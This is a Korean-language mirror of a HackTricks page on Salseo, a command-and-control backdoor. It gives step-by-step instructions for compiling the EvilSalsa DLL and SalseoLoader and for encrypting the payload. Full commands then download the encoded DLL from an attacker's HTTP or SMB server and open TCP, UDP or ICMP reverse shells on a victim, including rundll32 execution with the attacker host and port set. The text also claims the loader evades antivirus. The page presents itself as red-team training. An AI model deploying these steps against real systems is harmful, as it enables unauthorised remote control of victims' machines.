Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 04:33:28 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/c2/salseo.md

7.9 KiB
Raw Permalink Blame History

Salseo

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

바이너리 컴파일

github에서 소스 코드를 다운로드하고 EvilSalsa와 SalseoLoader를 컴파일합니다. 코드를 컴파일하려면 Visual Studio가 설치되어 있어야 합니다.

사용할 윈도우 박스의 아키텍처에 맞게 프로젝트를 컴파일합니다(윈도우가 x64를 지원하면 해당 아키텍처로 컴파일합니다).

Visual Studio의 왼쪽 "Build" 탭에서 **"Platform Target"**을 통해 아키텍처를 선택할 수 있습니다.

(**이 옵션을 찾을 수 없으면 **"Project Tab"**을 클릭한 다음 **"<Project Name> Properties"**를 클릭하세요)

그런 다음 두 프로젝트를 빌드합니다 (Build -> Build Solution) (로그 안에 실행 파일의 경로가 나타납니다):

백도어 준비

우선, EvilSalsa.dll을 인코딩해야 합니다. 이를 위해 encrypterassembly.py라는 파이썬 스크립트를 사용하거나 EncrypterAssembly 프로젝트를 컴파일할 수 있습니다.

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

윈도우

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

알겠습니다. 이제 모든 Salseo 작업을 실행하는 데 필요한 모든 것이 있습니다: 인코딩된 EvilDalsa.dll과 SalseoLoader의 바이너리.

SalseoLoader.exe 바이너리를 머신에 업로드하세요. 어떤 AV에도 탐지되지 않아야 합니다...

백도어 실행

TCP 리버스 셸 얻기 (HTTP를 통해 인코딩된 dll 다운로드)

nc를 리버스 셸 리스너로 시작하고 인코딩된 evilsalsa를 제공할 HTTP 서버를 시작하는 것을 잊지 마세요.

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

UDP 리버스 셸 얻기 (SMB를 통한 인코딩된 dll 다운로드)

리버스 셸 리스너로 nc를 시작하고, 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 잊지 마세요 (impacket-smbserver).

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

ICMP 리버스 셸 얻기 (피해자 내부에 이미 인코딩된 dll)

이번에는 리버스 셸을 수신하기 위해 클라이언트에 특별한 도구가 필요합니다. 다운로드: https://github.com/inquisb/icmpsh

ICMP 응답 비활성화:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

클라이언트 실행:

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

피해자 내부에서, salseo 작업을 실행해 보겠습니다:

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

SalseoLoader를 DLL로 컴파일하여 메인 함수 내보내기

Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.

메인 함수 앞에 추가: [DllExport]

이 프로젝트에 DllExport 설치

도구 --> NuGet 패키지 관리자 --> 솔루션용 NuGet 패키지 관리...

DllExport 패키지 검색 (탭에서 찾아보기 사용), 설치를 누르고 (팝업을 수락)

프로젝트 폴더에 DllExport.bat 및 DllExport_Configure.bat 파일이 나타납니다.

Uninstall DllExport

Uninstall을 누릅니다 (이상하게 들리지만 믿어주세요, 필요합니다)

Visual Studio 종료 및 DllExport_configure 실행

그냥 종료합니다 Visual Studio

그런 다음, SalseoLoader 폴더로 가서 DllExport_Configure.bat를 실행합니다.

x64를 선택합니다 (x64 박스 내에서 사용할 경우, 제 경우가 그랬습니다), System.Runtime.InteropServices를 선택합니다 ( DllExport의 네임스페이스 내에서) 그리고 적용을 누릅니다.

Visual Studio로 프로젝트 다시 열기

**[DllExport]**는 더 이상 오류로 표시되지 않아야 합니다.

솔루션 빌드

출력 유형 = 클래스 라이브러리를 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)

x64 플랫폼을 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)

솔루션을 빌드하려면: 빌드 --> 솔루션 빌드 (출력 콘솔 내에 새 DLL의 경로가 나타납니다)

생성된 Dll 테스트

테스트할 위치에 Dll을 복사하고 붙여넣습니다.

실행:

rundll32.exe SalseoLoader.dll,main

오류가 나타나지 않으면, 아마도 기능하는 DLL이 있는 것입니다!!

DLL을 사용하여 셸 얻기

HTTP 서버를 사용하고 nc 리스너를 설정하는 것을 잊지 마세요.

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}